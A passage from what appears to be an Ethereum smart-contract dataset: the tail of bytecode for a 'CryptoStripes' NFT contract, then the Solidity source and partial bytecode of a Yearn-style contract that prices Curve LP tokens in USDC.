d95750610fa08111155b6109255760405162461bcd60e51b815260206004820152600c60248201527f4f7574206f662072616e676500000000000000000000000000000000000000006044820152606401610545565b61092f33826119b1565b506001600a55565b61069783838360405180602001604052806000815250610e89565b600061095d60085490565b82106109d15760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201527f7574206f6620626f756e647300000000000000000000000000000000000000006064820152608401610545565b60088281548110610a0b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b6000818152600260205260408120546001600160a01b0316806104275760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e00000000000000000000000000000000000000000000006064820152608401610545565b610ab0612534565b600082118015610ac25750610fa08211155b610b0e5760405162461bcd60e51b815260206004820152600c60248201527f4f7574206f662072616e676500000000000000000000000000000000000000006044820152606401610545565b610427826040518060400160405280600581526020017f4649525354000000000000000000000000000000000000000000000000000000815250611586565b60006001600160a01b038216610bcb5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610545565b506001600160a01b031660009081526003602052604090205490565b600b546001600160a01b03163314610c415760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610545565b610c4b60006119cf565b565b610c55612534565b600082118015610c675750610fa08211155b610cb35760405162461bcd60e51b815260206004820152600c60248201527f4f7574206f662072616e676500000000000000000000000000000000000000006044820152606401610545565b610427826040518060400160405280600681526020017f5345434f4e440000000000000000000000000000000000000000000000000000815250611586565b60606001805461043c90612ecd565b610d09612534565b600082118015610d1b5750610fa08211155b610d675760405162461bcd60e51b815260206004820152600c60248201527f4f7574206f662072616e676500000000000000000000000000000000000000006044820152606401610545565b610427826040518060400160405280600681526020017f464f555254480000000000000000000000000000000000000000000000000000815250611586565b6001600160a01b038216331415610dff5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610545565b3360008181526005602090815260408083206001600160a01b0387168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610e9333836116b9565b610f055760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610545565b610f1184848484611a39565b50505050565b6060600082118015610f2b5750610fa08211155b610f775760405162461bcd60e51b815260206004820152600c60248201527f4f7574206f662072616e676500000000000000000000000000000000000000006044820152606401610545565b610f7f612552565b6040518060a0016040528060698152602001613091606991398152610fab610fa684610aa8565b611ac2565b604051602001610fbb9190612ce9565b60408051808303601f190181529190526020820152610fdc610fa684610c4d565b604051602001610fec9190612a93565b60408051808303601f1901815291815282015261100b610fa684611378565b60405160200161101b9190612d66565b60408051808303601f19018152919052606082015261103c610fa684610d01565b60405160200161104c9190612cb1565b60408051808303601f19018152919052608082015261106d610fa68461069c565b60405160200161107d9190612a27565b60408051808303601f1901815291815260a08301919091528051808201909152600881527f3c2f7374796c653e000000000000000000000000000000000000000000000000602082015281600660200201819052506040518060600160405280602f815260200161302a602f913960e0820152604080516060810190915260378082526131326020830139610100820152604080516060810190915260388082526130596020830139610120820152604080516060810190915260378082526131a96020830139610140820152604080516060810190915260388082526130fa6020830139610160820152604080518082018252600681527f3c2f7376673e0000000000000000000000000000000000000000000000000000602080830191909152610180840191909152825181840151838501516060860151608087015160a088015160c089015160e08a01516101008b0151995160009a6111e29a90910161285f565b60408051808303601f190181529082905261012084015161014085015161016086015161018087015193955061121d948694906020016127f4565b6040516020818303038152906040529050600061126a61123c86611b2a565b61124584611caa565b604051602001611256929190612b94565b604051602081830303815290604052611caa565b90508060405160200161127d9190612d21565b60408051601f1981840301815291905295945050505050565b600b546001600160a01b031633146112f05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610545565b6001600160a01b03811661136c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610545565b611375816119cf565b50565b611380612534565b6000821180156113925750610fa08211155b6113de5760405162461bcd60e51b815260206004820152600c60248201527f4f7574206f662072616e676500000000000000000000000000000000000000006044820152606401610545565b610427826040518060400160405280600581526020017f5448495244000000000000000000000000000000000000000000000000000000815250611586565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f80ac58cd0000000000000000000000000000000000000000000000000000000014806114b057507fffffffff0000000000000000000000000000000000000000000000000000000082167f5b5e139f00000000000000000000000000000000000000000000000000000000145b8061042757507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff00000000000000000000000000000000000000000000000000000000831614610427565b600081815260046020526040902080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b038416908117909155819061154d82610a1d565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b61158e612534565b6000831180156115a05750610fa08311155b6115ec5760405162461bcd60e51b815260206004820152600c60248201527f4f7574206f662072616e676500000000000000000000000000000000000000006044820152606401610545565b6000611620836115fb86611b2a565b60405160200161160c92919061291f565b604051602081830303815290604052611eaa565b905060006116428461163187611b2a565b60405160200161160c929190612977565b905060006116648561165388611b2a565b60405160200161160c9291906129cf565b905060006040518060600160405280610100866116819190612f5a565b60ff16815260200161169561010086612f5a565b60ff1681526020016116a961010085612f5a565b60ff169052979650505050505050565b6000818152600260205260408120546001600160a01b03166117435760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e00000000000000000000000000000000000000006064820152608401610545565b600061174e83610a1d565b9050806001600160a01b0316846001600160a01b031614806117895750836001600160a01b031661177e846104bf565b6001600160a01b0316145b806117b957506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b03166117d482610a1d565b6001600160a01b0316146118505760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e00000000000000000000000000000000000000000000006064820152608401610545565b6001600160a01b0382166118cb5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610545565b6118d6838383611edb565b6118e1600082611500565b6001600160a01b038316600090815260036020526040812080546001929061190a908490612e8a565b90915550506001600160a01b0382166000908152600360205260408120805460019290611938908490612e21565b909155505060008181526002602052604080822080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6119cb828260405180602001604052806000815250611f93565b5050565b600b80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b611a448484846117c1565b611a508484848461201c565b610f115760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610545565b60606000611ad983825b602002015160ff16611b2a565b90506000611ae8846001611acc565b90506000611af7856002611acc565b90506000838383604051602001611b1093929190612acb565b60408051601f198184030181529190529695505050505050565b606081611b6a57505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b8115611b945780611b7e81612f21565b9150611b8d9050600a83612e39565b9150611b6e565b60008167ffffffffffffffff811115611bd6577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611c00576020820181803683370190505b5090505b84156117b957611c15600183612e8a565b9150611c22600a86612f5a565b611c2d906030612e21565b60f81b818381518110611c69577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350611ca3600a86612e39565b9450611c04565b805160609080611cca575050604080516020810190915260008152919050565b60006003611cd9836002612e21565b611ce39190612e39565b611cee906004612e4d565b90506000611cfd826020612e21565b67ffffffffffffffff811115611d3c577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611d66576020820181803683370190505b5090506000604051806060016040528060408152602001613169604091399050600181016020830160005b86811015611df2576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b835260049092019101611d91565b506003860660018114611e0c5760028114611e5657611e9c565b7f3d3d0000000000000000000000000000000000000000000000000000000000007ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe830152611e9c565b7f3d000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8301525b505050918152949350505050565b600081604051602001611ebd91906127d8565b60408051601f19818403018152919052805160209091012092915050565b6001600160a01b038316611f3657611f3181600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611f59565b816001600160a01b0316836001600160a01b031614611f5957611f5983826121c9565b6001600160a01b038216611f705761069781612266565b826001600160a01b0316826001600160a01b03161461069757610697828261238a565b611f9d83836123ce565b611faa600084848461201c565b6106975760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610545565b60006001600160a01b0384163b156121be576040517f150b7a020000000000000000000000000000000000000000000000000000000081526001600160a01b0385169063150b7a0290612079903390899088908890600401612d9e565b602060405180830381600087803b15801561209357600080fd5b505af19250505080156120c3575060408051601f3d908101601f191682019092526120c091810190612778565b60015b612173573d8080156120f1576040519150601f19603f3d011682016040523d82523d6000602084013e6120f6565b606091505b50805161216b5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610545565b805181602001fd5b7fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a02000000000000000000000000000000000000000000000000000000001490506117b9565b506001949350505050565b600060016121d684610b4d565b6121e09190612e8a565b600083815260076020526040902054909150808214612233576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061227890600190612e8a565b600083815260096020526040812054600880549394509092849081106122c7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050806008838154811061230f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061236e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b600061239583610b4d565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b0382166124245760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610545565b6000818152600260205260409020546001600160a01b0316156124895760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610545565b61249560008383611edb565b6001600160a01b03821660009081526003602052604081208054600192906124be908490612e21565b909155505060008181526002602052604080822080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60405180606001604052806003906020820280368337509192915050565b604051806101a00160405280600d905b60608152602001906001900390816125625790505090565b80356001600160a01b038116811461259157600080fd5b919050565b6000602082840312156125a7578081fd5b6125b08261257a565b9392505050565b600080604083850312156125c9578081fd5b6125d28361257a565b91506125e06020840161257a565b90509250929050565b6000806000606084860312156125fd578081fd5b6126068461257a565b92506126146020850161257a565b9150604084013590509250925092565b60008060008060808587031215612639578081fd5b6126428561257a565b93506126506020860161257a565b925060408501359150606085013567ffffffffffffffff80821115612673578283fd5b818701915087601f830112612686578283fd5b81358181111561269857612698612fcc565b604051601f8201601f19908116603f011681019083821181831017156126c0576126c0612fcc565b816040528281528a60208487010111156126d8578586fd5b82602086016020830137918201602001949094529598949750929550505050565b6000806040838503121561270b578182fd5b6127148361257a565b915060208301358015158114612728578182fd5b809150509250929050565b60008060408385031215612745578182fd5b61274e8361257a565b946020939093013593505050565b60006020828403121561276d578081fd5b81356125b081612ffb565b600060208284031215612789578081fd5b81516125b081612ffb565b6000602082840312156127a5578081fd5b5035919050565b600081518084526127c4816020860160208601612ea1565b601f01601f19169290920160200192915050565b600082516127ea818460208701612ea1565b9190910192915050565b60008651612806818460208b01612ea1565b86519083019061281a818360208b01612ea1565b865191019061282d818360208a01612ea1565b8551910190612840818360208901612ea1565b8451910190612853818360208801612ea1565b01979650505050505050565b60008a51612871818460208f01612ea1565b8a516128838183860160208f01612ea1565b8a519184010190612898818360208e01612ea1565b89516128aa8183850160208e01612ea1565b89519290910101906128c0818360208c01612ea1565b87516128d28183850160208c01612ea1565b87519290910101906128e8818360208a01612ea1565b85519101906128fb818360208901612ea1565b845161290d8183850160208901612ea1565b9101019b9a5050505050505050505050565b60008351612931818460208801612ea1565b7f7265640000000000000000000000000000000000000000000000000000000000908301908152835161296b816003840160208801612ea1565b01600301949350505050565b60008351612989818460208801612ea1565b7f677265656e00000000000000000000000000000000000000000000000000000090830190815283516129c3816005840160208801612ea1565b01600501949350505050565b600083516129e1818460208801612ea1565b7f626c7565000000000000000000000000000000000000000000000000000000009083019081528351612a1b816004840160208801612ea1565b01600401949350505050565b7f2e65207b66696c6c3a0000000000000000000000000000000000000000000000815260008251612a5f816009850160208701612ea1565b7f7d000000000000000000000000000000000000000000000000000000000000006009939091019283015250600a01919050565b7f2e62207b66696c6c3a0000000000000000000000000000000000000000000000815260008251612a5f816009850160208701612ea1565b7f7267622800000000000000000000000000000000000000000000000000000000815260008451612b03816004850160208901612ea1565b80830190507f2c000000000000000000000000000000000000000000000000000000000000008060048301528551612b42816005850160208a01612ea1565b60059201918201528351612b5d816006840160208801612ea1565b7f29000000000000000000000000000000000000000000000000000000000000006006929091019182015260070195945050505050565b7f7b226e616d65223a202243727970746f53747269706573202300000000000000815260008351612bcc816019850160208801612ea1565b7f222c20226465736372697074696f6e223a202257686f2077696c6c2066696e646019918401918201527f2074686520726172657374207374726970653f205468697320746f6b656e206960398201527f7320657373656e7469616c6c7920776f7274686c6573732120222c2022696d6160598201527f6765223a2022646174613a696d6167652f7376672b786d6c3b6261736536342c60798201528351612c7b816099840160208801612ea1565b7f227d00000000000000000000000000000000000000000000000000000000000060999290910191820152609b01949350505050565b7f2e64207b66696c6c3a0000000000000000000000000000000000000000000000815260008251612a5f816009850160208701612ea1565b7f2e61207b66696c6c3a0000000000000000000000000000000000000000000000815260008251612a5f816009850160208701612ea1565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000815260008251612d5981601d850160208701612ea1565b91909101601d0192915050565b7f2e63207b66696c6c3a0000000000000000000000000000000000000000000000815260008251612a5f816009850160208701612ea1565b60006001600160a01b03808716835280861660208401525083604083015260806060830152612dd060808301846127ac565b9695505050505050565b60608101818360005b6003811015612e0557815160ff16835260209283019290910190600101612de3565b50505092915050565b6020815260006125b060208301846127ac565b60008219821115612e3457612e34612f6e565b500190565b600082612e4857612e48612f9d565b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e8557612e85612f6e565b500290565b600082821015612e9c57612e9c612f6e565b500390565b60005b83811015612ebc578181015183820152602001612ea4565b83811115610f115750506000910152565b600181811c90821680612ee157607f821691505b60208210811415612f1b577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f5357612f53612f6e565b5060010190565b600082612f6957612f69612f9d565b500690565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7fffffffff000000000000000000000000000000000000000000000000000000008116811461137557600080fdfe3c673e3c7265637420636c6173733d2261222077696474683d22373022206865696768743d223730222f3e3c2f673e3c673e3c7265637420793d223134302220636c6173733d2263222077696474683d2233353022206865696768743d223730222f3e3c2f673e3c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f73766722207072657365727665417370656374526174696f3d22784d696e594d696e206d656574222076696577426f783d223020302033353020333530223e3c7374796c653e3c673e3c7265637420793d223238302220636c6173733d2265222077696474683d2233353022206865696768743d223730222f3e3c2f673e3c673e3c7265637420793d2237302220636c6173733d2262222077696474683d2233353022206865696768743d223730222f3e3c2f673e4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2f3c673e3c7265637420793d223231302220636c6173733d2264222077696474683d2233353022206865696768743d3730222f3e3c2f673ea264697066735822122033450c635acbabb9758d5dbaa863159c28928a2d3de32a903e17b0790d49697664736f6c63430008040033
[ 6, 3, 4, 5 ]
0xf1c3047c6310806de1d25535bc50748815066a7b
// SPDX-License-Identifier: MIT pragma solidity 0.8.11; contract Ownable { address public ownerAddress; constructor() { ownerAddress = msg.sender; } modifier onlyOwner() { require(msg.sender == ownerAddress, "Ownable: caller is not the owner"); _; } function setOwnerAddress(address _ownerAddress) public onlyOwner { ownerAddress = _ownerAddress; } } interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); } interface ICurvePool { function get_virtual_price() external view returns (uint256); function coins(uint256 arg0) external view returns (address); } interface ICurveRegistry { function get_pool_from_lp_token(address arg0) external view returns (address); function get_underlying_coins(address arg0) external view returns (address[8] memory); function get_virtual_price_from_lp_token(address arg0) external view returns (uint256); } interface ICryptoPool { function balances(uint256) external view returns (uint256); function price_oracle(uint256) external view returns (uint256); // Some crypto pools only consist of 2 coins, one of which is usd so // it can be assumed that the price oracle doesn't need an argument // and the price of the oracle refers to the other coin. // This function is mutually exclusive with the price_oracle function that takes // an argument of the index of the coin, only one will be present on the pool function price_oracle() external view returns (uint256); function coins(uint256) external view returns (address); } interface ILp { function totalSupply() external view returns (uint256); } interface IOracle { function getPriceUsdcRecommended(address tokenAddress) external view returns (uint256); function usdcAddress() external view returns (address); } interface IYearnAddressesProvider { function addressById(string memory) external view returns (address); } interface ICurveAddressesProvider { function get_registry() external view returns (address); function get_address(uint256) external view returns (address); } interface ICalculationsChainlink { function oracleNamehashes(address) external view returns (bytes32); } interface ICurveRegistryOverrides { function poolByLp(address) external view returns (address); } contract CalculationsCurve is Ownable { address public yearnAddressesProviderAddress; address public curveAddressesProviderAddress; IYearnAddressesProvider internal yearnAddressesProvider; ICurveAddressesProvider internal curveAddressesProvider; constructor( address _yearnAddressesProviderAddress, address _curveAddressesProviderAddress ) { yearnAddressesProviderAddress = _yearnAddressesProviderAddress; curveAddressesProviderAddress = _curveAddressesProviderAddress; yearnAddressesProvider = IYearnAddressesProvider( _yearnAddressesProviderAddress ); curveAddressesProvider = ICurveAddressesProvider( _curveAddressesProviderAddress ); } function updateYearnAddressesProviderAddress( address _yearnAddressesProviderAddress ) external onlyOwner { yearnAddressesProviderAddress = _yearnAddressesProviderAddress; yearnAddressesProvider = IYearnAddressesProvider( _yearnAddressesProviderAddress ); } function updateCurveAddressesProviderAddress( address _curveAddressesProviderAddress ) external onlyOwner { curveAddressesProviderAddress = _curveAddressesProviderAddress; curveAddressesProvider = ICurveAddressesProvider( _curveAddressesProviderAddress ); } function oracle() internal view returns (IOracle) { return IOracle(yearnAddressesProvider.addressById("ORACLE")); } function curveRegistry() internal view returns (ICurveRegistry) { return ICurveRegistry(curveAddressesProvider.get_registry()); } function cryptoPoolRegistry() internal view returns (ICurveRegistry) { return ICurveRegistry(curveAddressesProvider.get_address(5)); } function curveRegistryOverrides() internal view returns (ICurveRegistryOverrides) { return ICurveRegistryOverrides( yearnAddressesProvider.addressById("CURVE_REGISTRY_OVERRIDES") ); } function getCurvePriceUsdc(address lpAddress) public view returns (uint256) { if (isLpCryptoPool(lpAddress)) { return cryptoPoolLpPriceUsdc(lpAddress); } uint256 basePrice = getBasePrice(lpAddress); uint256 virtualPrice = getVirtualPrice(lpAddress); IERC20 usdc = IERC20(oracle().usdcAddress()); uint256 decimals = usdc.decimals(); uint256 decimalsAdjustment = 18 - decimals; uint256 priceUsdc = (virtualPrice * basePrice * (10**decimalsAdjustment)) / 10**(decimalsAdjustment + 18); return priceUsdc; } function cryptoPoolLpTotalValueUsdc(address lpAddress) public view returns (uint256) { address poolAddress = getPoolFromLpToken(lpAddress); address[] memory underlyingTokensAddresses = cryptoPoolUnderlyingTokensAddressesByPoolAddress( poolAddress ); uint256 totalValue; for ( uint256 tokenIdx; tokenIdx < underlyingTokensAddresses.length; tokenIdx++ ) { uint256 tokenValueUsdc = cryptoPoolTokenAmountUsdc( poolAddress, tokenIdx ); totalValue += tokenValueUsdc; } return totalValue; } function cryptoPoolLpPriceUsdc(address lpAddress) public view returns (uint256) { uint256 totalValueUsdc = cryptoPoolLpTotalValueUsdc(lpAddress); uint256 totalSupply = ILp(lpAddress).totalSupply(); uint256 priceUsdc = (totalValueUsdc * 10**18) / totalSupply; return priceUsdc; } struct TokenAmount { address tokenAddress; string tokenSymbol; uint256 amountUsdc; } function cryptoPoolTokenAmountsUsdc(address poolAddress) public view returns (TokenAmount[] memory) { address[] memory underlyingTokensAddresses = cryptoPoolUnderlyingTokensAddressesByPoolAddress( poolAddress ); TokenAmount[] memory _tokenAmounts = new TokenAmount[]( underlyingTokensAddresses.length ); for ( uint256 tokenIdx; tokenIdx < underlyingTokensAddresses.length; tokenIdx++ ) { address tokenAddress = underlyingTokensAddresses[tokenIdx]; string memory tokenSymbol = IERC20(tokenAddress).symbol(); uint256 amountUsdc = cryptoPoolTokenAmountUsdc( poolAddress, tokenIdx ); _tokenAmounts[tokenIdx] = TokenAmount({ tokenAddress: tokenAddress, tokenSymbol: tokenSymbol, amountUsdc: amountUsdc }); } return _tokenAmounts; } function cryptoPoolTokenAmountUsdc(address poolAddress, uint256 tokenIdx) public view returns (uint256) { ICryptoPool pool = ICryptoPool(poolAddress); address tokenAddress = pool.coins(tokenIdx); uint8 decimals = IERC20(tokenAddress).decimals(); uint256 tokenPrice = oracle().getPriceUsdcRecommended(tokenAddress); uint256 tokenValueUsdc = (pool.balances(tokenIdx) * tokenPrice) / 10**decimals; return tokenValueUsdc; } function cryptoPoolUnderlyingTokensAddressesByPoolAddress( address poolAddress ) public view returns (address[] memory) { uint256 numberOfTokens; address[] memory _tokensAddresses = new address[](8); for (uint256 coinIdx; coinIdx < 8; coinIdx++) { (bool success, bytes memory data) = address(poolAddress).staticcall( abi.encodeWithSignature("coins(uint256)", coinIdx) ); if (success) { address tokenAddress = abi.decode(data, (address)); _tokensAddresses[coinIdx] = tokenAddress; numberOfTokens++; } else { break; } } bytes memory encodedAddresses = abi.encode(_tokensAddresses); assembly { mstore(add(encodedAddresses, 0x40), numberOfTokens) } address[] memory filteredAddresses = abi.decode( encodedAddresses, (address[]) ); return filteredAddresses; } function getBasePrice(address lpAddress) public view returns (uint256) { address poolAddress = getPoolFromLpToken(lpAddress); address underlyingCoinAddress = getUnderlyingCoinFromPool(poolAddress); uint256 basePriceUsdc = oracle().getPriceUsdcRecommended( underlyingCoinAddress ); return basePriceUsdc; } // should not be used with lpAddresses that are from the crypto swap registry function getVirtualPrice(address lpAddress) public view returns (uint256) { return curveRegistry().get_virtual_price_from_lp_token(lpAddress); } function isCurveLpToken(address lpAddress) public view returns (bool) { address poolAddress = getPoolFromLpToken(lpAddress); bool tokenHasCurvePool = poolAddress != address(0); return tokenHasCurvePool; } function isLpCryptoPool(address lpAddress) public view returns (bool) { address poolAddress = getPoolFromLpToken(lpAddress); if (poolAddress != address(0)) { return isPoolCryptoPool(poolAddress); } return false; } function isPoolCryptoPool(address poolAddress) public view returns (bool) { (bool success, ) = address(poolAddress).staticcall( abi.encodeWithSignature("price_oracle(uint256)", 0) ); if (success) { return true; } (bool successNoParams, ) = address(poolAddress).staticcall( abi.encodeWithSignature("price_oracle()") ); return successNoParams; } function getPoolFromLpToken(address lpAddress) public view returns (address) { return curveRegistryOverrides().poolByLp(lpAddress); } function isBasicToken(address tokenAddress) public view returns (bool) { return ICalculationsChainlink( yearnAddressesProvider.addressById("CALCULATIONS_CHAINLINK") ).oracleNamehashes(tokenAddress) != bytes32(0); } // should not be used with pools from the crypto pool registry function getUnderlyingCoinFromPool(address poolAddress) public view returns (address) { address[8] memory coins = curveRegistry().get_underlying_coins( poolAddress ); return getPreferredCoinFromCoins(coins); } function getPreferredCoinFromCoins(address[8] memory coins) internal view returns (address) { // Look for preferred coins (basic coins) address preferredCoinAddress; for (uint256 coinIdx = 0; coinIdx < 8; coinIdx++) { address coinAddress = coins[coinIdx]; if (coinAddress != address(0) && isBasicToken(coinAddress)) { preferredCoinAddress = coinAddress; break; } else if (coinAddress != address(0)) { preferredCoinAddress = coinAddress; } // Found preferred coin and we're at the end of the token array if ( (preferredCoinAddress != address(0) && coinAddress == address(0)) || coinIdx == 7 ) { break; } } return preferredCoinAddress; } function getPriceUsdc(address assetAddress) public view returns (uint256) { if (isCurveLpToken(assetAddress)) { return getCurvePriceUsdc(assetAddress); } ICurvePool pool = ICurvePool(assetAddress); uint256 virtualPrice = pool.get_virtual_price(); address[8] memory coins; for (uint256 i = 0; i < 8; i++) { try pool.coins(i) returns (address coin) { coins[i] = coin; } catch {} } address preferredCoin = getPreferredCoinFromCoins(coins); uint256 price = oracle().getPriceUsdcRecommended(preferredCoin); if (price == 0) { revert(); } return (price * virtualPrice) / 10**18; } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806394b9aaf6116100b8578063ceeb0afd1161007c578063ceeb0afd1461039a578063d61a7847146103ca578063dac79416146103fa578063f1be0eba1461042a578063fa17ade21461045a578063fdd8572c1461048a57610137565b806394b9aaf6146102be578063ab0909b5146102da578063ab64c24f1461030a578063b5a5050f1461033a578063c4e6c3ac1461036a57610137565b80633664855f116100ff5780633664855f146102185780635c1719c3146102485780638f84aa09146102665780639064a3c91461028457806393bb7181146102a057610137565b806301d62ee81461013c5780631ecc95cc1461016c57806324a592331461019c578063278e4153146101cc578063331a6bf5146101fc575b600080fd5b61015660048036038101906101519190611d2d565b6104ba565b6040516101639190611f2d565b60405180910390f35b61018660048036038101906101819190611d2d565b610643565b6040516101939190611ffe565b60405180910390f35b6101b660048036038101906101b19190611d2d565b610885565b6040516101c3919061202f565b60405180910390f35b6101e660048036038101906101e19190611d2d565b61090f565b6040516101f39190612059565b60405180910390f35b61021660048036038101906102119190611d2d565b610aa3565b005b610232600480360381019061022d9190611d2d565b610b74565b60405161023f919061202f565b60405180910390f35b610250610c0c565b60405161025d919061202f565b60405180910390f35b61026e610c32565b60405161027b919061202f565b60405180910390f35b61029e60048036038101906102999190611d2d565b610c56565b005b6102a8610d69565b6040516102b5919061202f565b60405180910390f35b6102d860048036038101906102d39190611d2d565b610d8f565b005b6102f460048036038101906102ef9190611d2d565b610ea2565b6040516103019190612059565b60405180910390f35b610324600480360381019061031f91906120a0565b610f06565b6040516103319190612059565b60405180910390f35b610354600480360381019061034f9190611d2d565b611130565b60405161036191906120fb565b60405180910390f35b610384600480360381019061037f9190611d2d565b611252565b60405161039191906120fb565b60405180910390f35b6103b460048036038101906103af9190611d2d565b61129e565b6040516103c19190612059565b60405180910390f35b6103e460048036038101906103df9190611d2d565b611349565b6040516103f19190612059565b60405180910390f35b610414600480360381019061040f9190611d2d565b61159e565b60405161042191906120fb565b60405180910390f35b610444600480360381019061043f9190611d2d565b6117a0565b6040516104519190612059565b60405180910390f35b610474600480360381019061046f9190611d2d565b61182a565b6040516104819190612059565b60405180910390f35b6104a4600480360381019061049f9190611d2d565b6118d9565b6040516104b191906120fb565b60405180910390f35b606060006104c783610643565b90506000815167ffffffffffffffff8111156104e6576104e5612116565b5b60405190808252806020026020018201604052801561051f57816020015b61050c611c61565b8152602001906001900390816105045790505b50905060005b825181101561063857600083828151811061054357610542612145565b5b6020026020010151905060008173ffffffffffffffffffffffffffffffffffffffff166395d89b416040518163ffffffff1660e01b8152600401600060405180830381865afa15801561059a573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906105c3919061226b565b905060006105d18885610f06565b905060405180606001604052808473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281525085858151811061061757610616612145565b5b60200260200101819052505050508080610630906122e3565b915050610525565b508092505050919050565b6060600080600867ffffffffffffffff81111561066357610662612116565b5b6040519080825280602002602001820160405280156106915781602001602082028036833780820191505090505b50905060005b6008811015610836576000808673ffffffffffffffffffffffffffffffffffffffff16836040516024016106cb9190612059565b6040516020818303038152906040527fc6610657000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516107559190612373565b600060405180830381855afa9150503d8060008114610790576040519150601f19603f3d011682016040523d82523d6000602084013e610795565b606091505b5091509150811561081a576000818060200190518101906107b691906123